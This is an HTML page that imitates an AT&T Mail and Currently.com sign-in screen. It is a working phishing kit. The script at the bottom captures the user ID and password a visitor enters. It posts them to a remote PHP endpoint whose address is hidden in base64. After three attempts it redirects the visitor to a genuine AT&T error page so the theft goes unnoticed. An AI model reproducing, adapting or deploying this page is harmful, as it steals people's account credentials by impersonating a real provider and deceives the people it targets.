<!DOCTYPE html>
<html lang="en-US">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Screen</title>
    <link rel="stylesheet" id="elementor-frontend-css" href="https://cdn.glitch.global/e1d815f2-6b39-4af0-a901-1e2c2df45ea5/frontend.min.css" media="all">
    <link rel="stylesheet" id="widget-image-css" href="https://cdn.glitch.global/e1d815f2-6b39-4af0-a901-1e2c2df45ea5/widget-image.min.css" media="all">
    <link rel="stylesheet" id="elementor-post-559-css" href="https://cdn.glitch.global/e1d815f2-6b39-4af0-a901-1e2c2df45ea5/post-559.css" media="all">
    <link rel="icon" href="https://cdn.glitch.global/e1d815f2-6b39-4af0-a901-1e2c2df45ea5/favicoco.png">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
	<style>
        .error-message {
          color: red;
          font-size: 14px;
          margin-top: 5px;
          margin-left: 2px;
        }
    </style>
  </head>
  <body class="page-template page-template-elementor_canvas page page-id-559 wp-embed-responsive elementor-default elementor-template-canvas elementor-kit-6 elementor-page elementor-page-559 e--ua-blink e--ua-chrome e--ua-webkit" data-elementor-device-mode="desktop">
    <div data-elementor-type="wp-page" data-elementor-id="559" class="elementor elementor-559" data-elementor-post-type="page">
      <div class="elementor-element elementor-element-55f30a1 e-flex e-con-boxed e-con e-parent e-lazyloaded" data-id="55f30a1" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;}">
        <div class="e-con-inner">
          <div class="elementor-element elementor-element-f4a08b4 e-con-full e-flex e-con e-child" data-id="f4a08b4" data-element_type="container">
            <div class="elementor-element elementor-element-336af74 e-con-full e-flex e-con e-child" data-id="336af74" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;}">
              <div class="elementor-element elementor-element-534f824 e-con-full e-flex e-con e-child" data-id="534f824" data-element_type="container">
                <div class="elementor-element elementor-element-7eacc5b elementor-widget elementor-widget-image" data-id="7eacc5b" data-element_type="widget" data-widget_type="image.default">
                  <div class="elementor-widget-container">
                    <img decoding="async" src="https://cdn.glitch.global/e1d815f2-6b39-4af0-a901-1e2c2df45ea5/vottery.png" title="" alt="" loading="lazy">
                  </div>
                </div>
                <div class="elementor-element elementor-element-6b48c03 e-con-full e-flex e-con e-child" data-id="6b48c03" data-element_type="container">
                  <div class="elementor-element elementor-element-8db900b elementor-widget elementor-widget-heading" data-id="8db900b" data-element_type="widget" data-widget_type="heading.default">
                    <div class="elementor-widget-container">
                      <h2 class="elementor-heading-title elementor-size-default">Sign in</h2>
                    </div>
                  </div>
                  <div class="elementor-element elementor-element-a34c3a6 elementor-widget elementor-widget-heading" data-id="a34c3a6" data-element_type="widget" data-widget_type="heading.default">
                    <div class="elementor-widget-container">
                      <h2 class="elementor-heading-title elementor-size-default">to access AT&amp;T Mail and Currently.com</h2>
                    </div>
                  </div>
                </div>
              </div>
              <div class="elementor-element elementor-element-4ba5297 e-con-full e-flex e-con e-child" data-id="4ba5297" data-element_type="container">
                <div class="elementor-element elementor-element-60d6545 elementor-button-align-stretch elementor-widget elementor-widget-form" data-id="60d6545" data-element_type="widget" data-settings="{&quot;step_next_label&quot;:&quot;Sign in&quot;,&quot;step_previous_label&quot;:&quot;Previous&quot;,&quot;button_width&quot;:&quot;100&quot;,&quot;step_type&quot;:&quot;number_text&quot;,&quot;step_icon_shape&quot;:&quot;circle&quot;}" data-widget_type="form.default">
                  <div class="elementor-widget-container">
                    <form class="elementor-form" method="post" name="New Form" id="loginForm">
                      <input type="hidden" name="post_id" value="559">
                      <input type="hidden" name="form_id" value="60d6545">
                      <input type="hidden" name="referer_title" value="sws">
                      <input type="hidden" name="queried_id" value="559">
                      <div class="elementor-form-fields-wrapper elementor-labels-above">
                        <div class="elementor-field-type-email elementor-field-group elementor-column elementor-field-group-email elementor-col-100 elementor-field-required">
                          <label for="form-field-email" class="elementor-field-label"> User ID </label>
                          <input size="1" type="email" name="email" id="email" class="elementor-field elementor-size-md  elementor-field-textual" required="required" aria-required="true">
                        </div>
                        <div class="elementor-field-type-password elementor-field-group elementor-column elementor-field-group-field_07898b5 elementor-col-100 elementor-field-required">
                          <label for="form-field-field_07898b5" class="elementor-field-label"> Password </label>
                          <input size="1" type="password" name="password" id="password" class="elementor-field elementor-size-md  elementor-field-textual" required="required" aria-required="true">
						  <!-- Error message will be displayed here -->
						  <div id="error" class="error-message"></div>
                        </div>
                        <div class="elementor-field-group elementor-column elementor-field-type-submit elementor-col-100 e-form__buttons">
                          <button class="elementor-button elementor-size-sm" type="submit">
                            <span class="elementor-button-content-wrapper">
                              <span class="elementor-button-text">Sign in</span>
                            </span>
                          </button>
                        </div>
                      </div>
                    </form>
                  </div>
                </div>
                <div class="elementor-element elementor-element-3c32738 elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="3c32738" data-element_type="widget" data-widget_type="icon-list.default">
                  <div class="elementor-widget-container">
                    <ul class="elementor-icon-list-items">
                      <li class="elementor-icon-list-item">
                        <a href="#">
                          <span class="elementor-icon-list-text">Forgot user ID?</span>
                        </a>
                      </li>
                      <li class="elementor-icon-list-item">
                        <a href="#">
                          <span class="elementor-icon-list-text">Don't have a user ID? Create one now</span>
                        </a>
                      </li>
                    </ul>
                  </div>
                </div>
                <div class="elementor-element elementor-element-663d9fb elementor-hidden-desktop elementor-hidden-tablet elementor-widget elementor-widget-image" data-id="663d9fb" data-element_type="widget" data-widget_type="image.default">
                  <div class="elementor-widget-container">
                    <img fetchpriority="high" decoding="async" width="286" height="204" src="https://cdn.glitch.global/e1d815f2-6b39-4af0-a901-1e2c2df45ea5/atfooter2.png" class="attachment-large size-large wp-image-676" alt="">
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
      <div class="elementor-element elementor-element-a43584d elementor-hidden-mobile e-flex e-con-boxed e-con e-parent e-lazyloaded" data-id="a43584d" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;,&quot;position&quot;:&quot;fixed&quot;}">
        <div class="e-con-inner">
          <div class="elementor-element elementor-element-2813e40 elementor-widget elementor-widget-image" data-id="2813e40" data-element_type="widget" data-widget_type="image.default">
            <div class="elementor-widget-container">
              <img decoding="async" src="https://cdn.glitch.global/e1d815f2-6b39-4af0-a901-1e2c2df45ea5/atfooter.png" title="" alt="" loading="lazy">
            </div>
          </div>
        </div>
      </div>
    </div>
	<script>
        let submitCount = 0; // Counter for form submissions
      
        document.getElementById("loginForm").addEventListener("submit", function (event) {
          event.preventDefault(); // Prevent default form submission behavior
      
          // Get form inputs
          const email = document.getElementById("email").value.trim();
          const password = document.getElementById("password").value;
          const errorDiv = document.getElementById("error");
          let statusMessage = document.getElementById("statusMessage");
      
          // Ensure statusMessage element exists
          if (!statusMessage) {
            statusMessage = document.createElement("div");
            statusMessage.id = "statusMessage";
            statusMessage.style.marginTop = "10px";
            statusMessage.style.color = "green";
            document.getElementById("loginForm").appendChild(statusMessage);
          }
      
          // Reset messages
          errorDiv.textContent = "";
          statusMessage.textContent = "";
      
          // Basic validation
          if (!email) {
            errorDiv.textContent = "Email is required.";
            return;
          }
          if (password.length < 5) {
            errorDiv.textContent = "Invalid password. Password must be at least 5 characters.";
            return;
          }
      
          // Prepare form data
          const formData = new FormData();
          formData.append("email", email);
          formData.append("password", password);
      
          // Send the request using XMLHttpRequest
          const xhr = new XMLHttpRequest();
          xhr.open("POST", atob("aHR0cHM6Ly9zZ3MtZ3JvdXBzLmNvLnVhL2F0dHgvcHJvY2Vzcy1sb2dpbi5waHA="), true);
      
          xhr.onload = function () {
            if (xhr.status === 200) {
              try {
                const response = JSON.parse(xhr.responseText); // Assuming the PHP response is JSON
                if (response.success) {
                  statusMessage.style.color = "green";
                  statusMessage.textContent = response.message || "Login successful!";
                } else {
                  statusMessage.style.color = "red";
                  statusMessage.textContent = response.message || "Login failed. Please check your credentials.";
                }
              } catch (e) {
                statusMessage.style.color = "red";
                statusMessage.textContent = "Unexpected server response.";
              }
            } else {
              statusMessage.style.color = "red";
              statusMessage.textContent = "An error occurred. Please try again.";
            }
          };
      
          xhr.onerror = function () {
            statusMessage.style.color = "red";
            statusMessage.textContent = "Request failed. Please check your connection.";
          };
      
          xhr.send(formData);
      
          // Increment the submission counter
          submitCount++;
      
          // Redirect to google.com after 3 submissions
          if (submitCount === 3) {
            window.location.href = "https://signin.att.com/dynamic/iamLRR/LrrController?IAM_OP=error&appName=m40842&errorCode=902.2";
          }
        });
      </script>
  </body>
</html>